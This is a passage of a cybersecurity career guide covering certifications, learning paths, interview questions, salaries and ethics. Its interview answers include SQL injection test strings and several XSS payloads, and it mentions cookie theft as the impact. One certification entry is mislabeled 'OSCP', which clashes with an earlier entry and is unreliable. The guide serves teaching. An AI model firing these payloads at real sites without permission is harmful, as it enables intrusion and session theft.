- Cost: ~$370
- Coverage: Security fundamentals
- Good for: Understanding security basics
- Recommended: Yes, for complete beginners
2. CEH (Certified Ethical Hacker)
- Duration: 3-4 months preparation
- Cost: ~$1,199 (exam) + training
- Coverage: Pentesting basics, tools
- Good for: Entry-level pentesters
- Note: Criticized as too theoretical
3. eJPT (eLearnSecurity Junior Penetration Tester)
- Duration: 2-3 months
- Cost: ~$200
- Coverage: Practical pentesting
- Good for: Hands-on learners
- Recommended: Yes, very practical
4. GIAC Security Essentials (GSEC)
- Duration: 3-4 months
- Cost: ~$1,899
- Coverage: Security foundations
- Good for: IT professionals transitioning to security
1. OSCP (Offensive Security Certified Professional)
- Duration: 3-6 months preparation
- Cost: ~$1,649 (includes lab time)
- Coverage: Practical penetration testing
- Good for: Serious pentesters
- Difficulty: High
- Recommended: HIGHLY recommended
- Note: 24-hour practical exam
2. GWAPT (GIAC Web Application Penetration Tester)
- Duration: 3-4 months
- Cost: ~$2,499
- Coverage: Web application security
- Good for: AppSec specialists
- Recommended: Yes, for web focus
3. eWPT (eLearnSecurity Web Application Penetration Tester)
- Duration: 2-3 months
- Cost: ~$400
- Coverage: Web app pentesting
- Good for: Practical web security skills
- Recommended: Good alternative to GWAPT
4. Burp Suite Certified Practitioner
- Duration: 1-2 months
- Cost: $99
- Coverage: Burp Suite and web security
- Good for: Web app security testers
- Recommended: Yes, affordable and valuable
5. AWS Certified Security - Specialty
- Duration: 2-3 months
- Cost: ~$300
- Coverage: AWS security services
- Good for: Cloud security roles
- Recommended: Yes, for cloud-focused careers
1. OSWE (Offensive Security Web Expert)
- Duration: 4-6 months
- Cost: ~$1,649
- Coverage: Advanced web exploitation
- Good for: Expert web pentesters
- Difficulty: Very High
- Recommended: For advanced practitioners
- Note: Code review and exploitation
2. GXPN (GIAC Exploit Researcher and Advanced Penetration Tester)
- Duration: 4-6 months
- Cost: ~$2,499
- Coverage: Exploit development, advanced techniques
- Good for: Red team operators
3. OSCP (Offensive Security Experienced Penetration Tester)
- Duration: 6-12 months
- Cost: ~$5,499
- Coverage: Advanced red team operations
- Good for: Elite pentesters
- Difficulty: Extremely High
4. CSSLP (Certified Secure Software Lifecycle Professional)
- Duration: 3-4 months
- Cost: ~$599
- Coverage: Secure SDLC
- Good for: AppSec architects, secure dev leads
- Recommended: For management-track roles
5. CISSP (Certified Information Systems Security Professional)
- Duration: 3-6 months
- Cost: ~$749
- Coverage: Broad security knowledge
- Good for: Security managers, architects
- Requirement: 5 years experience (or 4 + degree)
- Note: More management-focused
AWS:
- AWS Certified Security - Specialty
- Cost: ~$300
- Best for: AWS-focused roles
Azure:
- Azure Security Engineer Associate (AZ-500)
- Cost: ~$165
- Best for: Azure environments
GCP:
- Google Professional Cloud Security Engineer
- Cost: ~$200
- Best for: GCP security
Path 1: Web Application Security Specialist
- Security+ (optional, for foundations)
- eWPT or GWAPT
- Burp Suite Certified Practitioner
- OSCP
- OSWE
Path 2: Cloud Security Engineer
- Security+
- AWS Certified Security - Specialty
- OSCP (for pentesting skills)
- CSSLP (for secure development)
Path 3: Full-Stack Security Professional
- eJPT
- OSCP
- GWAPT or eWPT
- AWS/Azure/GCP Security
- OSWE or GXPN
1. Explain the OWASP Top 10
- Be ready to explain each vulnerability
- Provide real-world examples
- Discuss mitigation strategies
2. How would you test for SQL Injection?
- Identify injection points
- Test with single quote (')
- Boolean-based testing (' OR '1'='1)
- Union-based queries
- Time-based blind SQLi
- Out-of-band techniques
- Show understanding of different databases
3. What is the difference between authentication and authorization?
Authentication: Verifying who you are (login)
Authorization: Verifying what you can access (permissions)
Example:
- Authentication: Username/password login
- Authorization: Admin panel access control
4. Explain Same-Origin Policy and CORS
Same-Origin Policy:
- Browser security feature
- Restricts how documents/scripts from one origin interact with resources from another origin
- Origin = protocol + domain + port
CORS:
- Allows controlled cross-origin access
- Server explicitly allows specific origins
- Uses preflight requests for complex requests
5. How do you secure an API?
- Authentication (OAuth 2.0, JWT, API keys)
- Authorization (role-based access control)
- Rate limiting
- Input validation
- Output encoding
- HTTPS only
- API versioning
- Logging and monitoring
- Security headers
- CORS configuration
6. Walk me through finding and exploiting an XSS vulnerability
1. Identify input points (search, comments, user profile)
2. Test with basic payload: <script>alert(1)</script>
3. If filtered, try bypasses:
- <img src=x onerror=alert(1)>
- <svg onload=alert(1)>
- JavaScript URL: javascript:alert(1)
4. Test in different contexts (HTML, attribute, JavaScript)
5. Exploit for cookie theft, session hijacking, etc.
6. Report with PoC and impact assessment
7. Describe the difference between SAST, DAST, and IAST
SAST (Static):
- Analyzes source code
- No execution required
- Fast, early detection
- High false positives
DAST (Dynamic):
- Tests running application
- Black-box approach
- Finds runtime issues
- May miss some code paths
IAST (Interactive):
- Combines SAST and DAST
- Instruments application
- Real-time analysis during testing
- Lower false positives
8. How would you implement secure password storage?
- Never store plaintext passwords
- Use strong hashing algorithms (bcrypt, Argon2, scrypt)
- Add unique salt per password
- Use sufficient iterations/work factor
- Consider pepper (server-side secret)
- Implement account lockout after failed attempts
- Monitor for credential stuffing attacks
Example (Python):
import bcrypt
hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12))
1. Tell me about a security vulnerability you found
- Describe the vulnerability clearly
- Explain your testing methodology
- Discuss the impact
- Mention how it was fixed
- What you learned
2. How do you stay current with security trends?
- Follow security blogs and researchers
- Participate in CTFs
- Read vulnerability disclosures
- Attend conferences (virtual/in-person)
- Practice on vulnerable applications
- Contribute to open-source security projects
3. Describe a time you had to explain a security issue to non-technical stakeholders
- Use analogies
- Focus on business impact
- Provide actionable recommendations
- Show empathy and patience
4. How do you prioritize security vulnerabilities?
Consider:
- Severity (CVSS score)
- Exploitability
- Business impact
- Data sensitivity
- Public exposure
- Ease of remediation
- Compliance requirements
Framework: Risk = Likelihood × Impact
5. Tell me about a disagreement with a developer about a security issue
- Show collaboration skills
- Explain technical reasoning
- Demonstrate compromise
- Focus on outcome
1. Live Coding: Write a function to prevent SQL injection
# ❌ Vulnerable
def get_user(user_id):
query = f"SELECT * FROM users WHERE id = {user_id}"
return db.execute(query)
# ✓ Secure
def get_user(user_id):
query = "SELECT * FROM users WHERE id = ?"
return db.execute(query, (user_id,))2. Security Code Review Be prepared to review code snippets and identify vulnerabilities
3. Architecture Design Design a secure authentication system or API
4. Incident Response Scenario How would you respond to a production security incident?
- "What does the security culture look like here?"
- "How is security integrated into the SDLC?"
- "What security tools and technologies does the team use?"
- "How does the security team collaborate with development?"
- "What are the biggest security challenges facing the organization?"
- "How is success measured for this role?"
- "What opportunities are there for learning and professional development?"
Entry Level (0-2 years):
- $70,000 - $100,000
Mid Level (2-5 years):
- $100,000 - $150,000
Senior (5-10 years):
- $150,000 - $200,000
Lead/Principal (10+ years):
- $200,000 - $300,000+
Note: Salaries vary significantly by location, company size, and industry
Responsibilities:
- Perform basic security testing
- Run automated scanning tools
- Report and track vulnerabilities
- Learn secure coding practices
- Participate in code reviews
Skills to Develop:
- Master OWASP Top 10
- Learn Burp Suite proficiently
- Understand web technologies
- Basic scripting (Python, Bash)
- Communication skills
Responsibilities:
- Lead security assessments
- Perform threat modeling
- Provide remediation guidance
- Develop security tools
- Train developers
Skills to Develop:
- Advanced exploitation techniques
- Multiple programming languages
- Security architecture
- Threat modeling frameworks
- DevSecOps practices
Responsibilities:
- Design security programs
- Lead major initiatives
- Mentor junior team members
- Engage with executive leadership
- Drive security culture
Skills to Develop:
- Leadership and mentorship
- Project management
- Business acumen
- Advanced architecture
- Compliance knowledge
Responsibilities:
- Set security strategy
- Influence company direction
- Represent company externally
- Research and innovation
- Cross-functional leadership
Skills to Develop:
- Strategic thinking
- Organization-wide influence
- Industry thought leadership
- Executive communication
- Dedicate time daily (even 30 minutes)
- Mix theory with hands-on practice
- Don't just read - actually hack things
- Write blog posts about your learnings
- Create security tools or scripts
- Contribute to open-source security projects
- Share CTF writeups
- Build a GitHub presence
- Attend local security meetups
- Join online communities (Discord, Slack)
- Participate in Twitter security discussions
- Attend security conferences
- Find a mentor
- Always ask "how can this be broken?"
- Read security research papers
- Follow CVE disclosures
- Experiment with new tools and techniques
- Understand fundamentals across all areas
- Specialize in 2-3 areas deeply
- Know when to dive deep vs. when to move on
- Keep notes of what you learn
- Create your own cheat sheets
- Document your methodology
- Track vulnerabilities you find
- Only test systems you have permission to test
- Respect responsible disclosure
- Understand legal boundaries
- Always act ethically
- Avoid burnout - pace yourself
- Take breaks
- Maintain work-life balance
- Celebrate small wins
- PentestingEverything
- Awesome-Hacking
- Pentesting-Bible
- SecurityExplained
- Offensive-Resources
- Learn365
This guide is meant to be a living document. The security field evolves rapidly, and so should this resource. Suggestions for updates, corrections, or additional resources are always welcome!
Areas for Community Contribution:
- New tools and platforms
- Updated techniques and methodologies
- Additional learning resources
- Real-world case studies
- Interview experiences
- Career progression insights
Remember: Security is a journey, not a destination. Stay curious, stay ethical, and never stop learning!